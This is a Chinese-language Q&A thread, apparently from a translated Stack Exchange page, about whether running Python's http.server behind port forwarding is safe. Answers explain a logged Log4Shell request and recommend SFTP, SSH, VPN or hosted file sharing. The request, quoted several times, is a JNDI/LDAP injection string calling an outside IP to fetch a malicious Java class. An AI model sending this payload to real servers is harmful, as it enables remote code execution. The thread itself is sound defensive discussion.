sandrino Asked: 2021-12-22 11:27:36 +0800 CST2021-12-22 11:27:36 +0800 CST 2021-12-22 11:27:36 +0800 CST 托管可以从 Internet 访问的 Python 的 http.server 是否可以? 772 我正在 python3 -m http.server 8080与端口转发一起运行,以便从任何地方访问我的笔记本电脑中的文件。 但是出现了随机连接和一条特别奇怪的线: GET /${jndi:ldap://185.246.87.50:1389/Exploit} 你可以在这看到更多: 我在做什么安全吗?如果没有,那么有什么方法可以让它安全吗?也许像登录密码之类的东西? python http 3 个回答 Voted dirkt 2021-12-22T11:33:27+08:002021-12-22T11:33:27+08:00 我正在运行 python3 -m http.server 8080 和端口转发,以便从任何地方访问我的笔记本电脑中的文件。 这可能意味着其他人也可以访问这些文件......所以我希望其中没有你不希望其他人阅读的内容。 但是出现了随机连接和一个特别奇怪的行:GET /${jndi:ldap://185.246.87.50:1389/Exploit}。 奇怪的线表示人们正在扫描 log4j 漏洞(谷歌),但由于您有一个 Python 服务器而不是 Java,因此您不必担心。(但是,其他随机连接应该)。 如果没有,那么有什么方法可以让它安全吗?也许像登录密码之类的东西? 如果您不知道如何使其安全(如果您不知道自己在做什么,并且遵循您在互联网上找到的随机食谱将永远不会使其安全),并且如果您需要它是安全的,我建议采取服务器现在离线。相反,开始使用其他东西(例如 VPN 或ssh)。 Best Answer Armageddon_0x00 2021-12-22T11:56:49+08:002021-12-22T11:56:49+08:00 取决于您托管的文件以及您当前使用的身份验证、授权或一般防御机制(据我了解,可能没有)。如果文件很敏感,那么只使用简单的 HTTP 服务器为它们提供服务,而无需任何身份验证/保护可能不是最好的主意。 关于jndi您看到的该日志: GET /${jndi:ldap://185.246.87.50:1389/Exploit}据我所知,您看到的请求是下载恶意 Java 类的漏洞利用请求。 这是一种相当新的漏洞利用方法。主要针对应用程序的日志记录机制。 它是由用于 RCE(远程代码执行)或修补版本 DOS(拒绝服务)的 Java 库 (log4j) 引起的。 由于 Python Simple HTTP Server 仅在 Python 代码上运行(据我所知,再次。)您无需担心。(除非您还使用不同的应用程序或方法记录 HTTP 请求。) CVE-2021-45046 和 CVE-2021-45105 如果您想了解更多信息,只需谷歌即可。 我的谦虚建议: 由于您当前正在网络上进行端口转发,因此您可以简单地使用 SFTP(安全 FTP)服务来满足您的文件需求。或者可以只是 SCP。 使用 DMZ 会很好地为您服务。什么是非军事区? 如果您在互联网上提供任何服务(与您使用的服务或端口无关),您将被检测和扫描。如果您已为此类事情做好准备(更新、了解公开的内容、版本等),请不要担心。 大规模扫描总是发生。(主要是在公开披露新漏洞时。)您可以使用不同的方法来防止这种情况。WAF(Web 应用程序防火墙)等。请注意,在大多数情况下可以绕过 WAF。 我会怎么做? 我不喜欢为个人需求运行 HTTP 服务器 7/24。如果适合您的需要,我会简单地使用 SFTP 服务器或云。为您提供有关 FTP 和 SFTP 的非常简短的信息。 Lampe2020 2022-09-27T21:09:39+08:002022-09-27T21:09:39+08:00 我正在python3 -m http.server 8080与端口转发一起运行,以便从任何地方访问我的笔记本电脑中的文件。 这大致可以翻译为: 我在笔记本电脑的虚拟安全墙上挖了一个大洞。 在公共知名/经常使用的端口上运行完全没有保护的服务器是一个可怕的想法。如果您绝对需要像那样访问您的文件,那么您应该在一个不像 8080 那样常用的随机端口上运行它。但是(正如其他人已经说过的)最好使用像 Dropbox、Google Drive 这样的安全文件共享服务, ... 或者如果您想自己托管它,请使用 SFTP 或 NextCloud、OpenNAS 或 TrueNAS 等自托管文件共享服务。我不是很喜欢那种 NAS 的东西,所以你应该自己做一些研究。
这可能意味着其他人也可以访问这些文件......所以我希望其中没有你不希望其他人阅读的内容。
奇怪的线表示人们正在扫描 log4j 漏洞(谷歌),但由于您有一个 Python 服务器而不是 Java,因此您不必担心。(但是,其他随机连接应该)。
如果您不知道如何使其安全(如果您不知道自己在做什么,并且遵循您在互联网上找到的随机食谱将永远不会使其安全),并且如果您需要它是安全的,我建议采取服务器现在离线。相反,开始使用其他东西(例如 VPN 或
ssh
)。取决于您托管的文件以及您当前使用的身份验证、授权或一般防御机制(据我了解,可能没有)。如果文件很敏感,那么只使用简单的 HTTP 服务器为它们提供服务,而无需任何身份验证/保护可能不是最好的主意。
关于
jndi
您看到的该日志:GET /${jndi:ldap://185.246.87.50:1389/Exploit}
据我所知,您看到的请求是下载恶意 Java 类的漏洞利用请求。我的谦虚建议:
我会怎么做?
这大致可以翻译为:
在公共知名/经常使用的端口上运行完全没有保护的服务器是一个可怕的想法。如果您绝对需要像那样访问您的文件,那么您应该在一个不像 8080 那样常用的随机端口上运行它。但是(正如其他人已经说过的)最好使用像 Dropbox、Google Drive 这样的安全文件共享服务, ... 或者如果您想自己托管它,请使用 SFTP 或 NextCloud、OpenNAS 或 TrueNAS 等自托管文件共享服务。我不是很喜欢那种 NAS 的东西,所以你应该自己做一些研究。